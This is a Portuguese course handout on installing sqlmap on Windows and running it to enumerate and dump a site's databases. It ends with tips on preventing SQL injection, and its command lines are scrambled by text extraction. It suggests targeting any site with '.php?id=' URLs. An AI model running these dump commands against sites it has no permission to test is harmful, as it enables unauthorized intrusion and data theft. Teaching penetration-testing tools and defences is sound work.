Instalando e configurando o SQLMAP no Windows 7

Instalando e configurando o SQLMAP no
Windows 7
André Barbieri – Redes de Computador – SENAC
SQLMAP: Ferramenta de código fonte aberto desenvolvida em
python para teste de penetração que detecta e explora as
vulnerabilidades a injeção de SQL.
Injeção SQL ou SQL Injector: Ameaça de segurança que se
aproveita de falhas em sistemas que interagem com bases de
dados via SQL.
Passos para Instalação e funcionamento do Sql Map.
1- Fazer
download
do
SqlMap
pelo
link
https://github.com/sqlmapproject/sqlmap/zipball/master.
2. Fazer download do Python 2.7.6 pelo link
http://www.python.org/ftp/python/2.7.6/python2.7.6.amd64.msi e instalar.
3. Para facilitar os procedimentos será necessário extrair o
arquivo zip na raiz da unidade C e renomear o diretório
para sqlmap como, por exemplo: c:/sqlmap/
4. Abra o prompt de comando e acesse o diretório
C:/sqlmap/.
4.1. Para colocar o sqlmap em funcionamento digite o
seguintes comandos:
Testar a vulnerabilidade e encontrar as databases:
sqlmap.py –u link do site –dbs
Visualizar as tabelas:
sqlmap.py
-u
link
do
site
-D
sqlmap.py
-u
lnk
do
site
-D
nomedadatabase –tables
Visualizar as colunas:
nomedadatabase -T tabelaquevocequer –columns
Buscar informação da coluna:
sqlmap.py -u link do site -D
nomedadatabase -T tabelaquevocequer -C colunaquevocequer --dump
Obs: De preferência sites com terminações
.php?id=
Algumas informações importantes para evitar os
ataques SQL.
Parametrização das consultas: Quando a parametrização SIMPLE está em vigor, você não
pode controlar quais consultas são parametrizadas e quais não são. No entanto, você pode
especificar que todas as consultas em um banco de dados sejam parametrizadas definindo a
opção de banco de dados PARAMETERIZATION como FORCED. Esse processo é denominado
parametrização forçada.
Usar “stored procedures”: coleção de comandos em SQL para dispensa mento de Banco de
dados. Encapsula tarefas repetitivas, aceita parâmetros de entrada e retorna um valor de
status (para indicar aceitação ou falha na execução). O procedimento armazenado pode
reduzir o tráfego na rede, visto que os comandos são executados diretamente no servidor.
Além de melhorar a performance, criar mecanismos de segurança entre a manipulação dos
dados do Banco de Dados.
Limitar privilégio ao acesso: Manter apenas os privilégios e acessos necessários.
Referências:
Instalação
sqlmap:
vulnerabilidades-sqli/
http://inf0security.wordpress.com/2012/12/24/usando-sqlmap-em-
Comandos Sqlmap: http://pastebin.com/9CHBMjVq
Sql Injector: http://wiki.locaweb.com.br/pt-br/Como_se_proteger_do_SQL_Injection